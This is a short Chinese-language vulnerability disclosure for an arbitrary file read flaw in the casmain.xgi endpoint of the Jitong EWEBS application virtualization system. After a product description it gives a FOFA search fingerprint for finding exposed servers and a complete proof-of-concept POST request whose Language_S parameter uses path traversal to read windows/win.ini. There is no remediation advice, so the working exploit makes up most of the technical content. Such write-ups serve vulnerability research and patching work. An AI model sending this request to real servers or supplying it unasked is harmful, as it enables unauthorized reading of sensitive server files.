极通EWEBS应用虚拟化系统casmain.xgi存在任意文件读取漏洞
一、漏洞简介
极通EWEBS应用虚拟化系统是将一台服务器的计算资源（CPUd、内存等）隔离为多个独立的计算资源空间，实现多人同时通过任何网络线路连接登陆到这台服务器上操作同一个应用资源（指金蝶、用友、SAP、金算盘、新中大、等各种ERP、OA、CRM等信息系统及文件系统），通过NEWSOFT RAP协议，将服务器的各种计算结果及屏幕变化传输到客户机的显示界面，这种技术实现了只在网络中传输键盘、鼠标指令和图像矢量变化信息，从而对网络带宽要求非常低，只需 3Kbps 的带宽即可流畅快速的操作服器上的各种应用程序。极通应用虚拟化系统casmain.xgi存在任意文件读取漏洞，攻击者可通过该漏洞获取服务器敏感信息。
二、影响版本
- 极通EWEBS应用虚拟化系统
三、资产测绘
- fofa
app="新软科技-极通EWEBS" - 特征
四、漏洞复现
POST /casmain.xgi HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=923b86fa90ce1e14c82d4e36d1adc528; CookieLanguageName=ZH-CN
Content-Length: 38
Language_S=../../../../windows/win.ini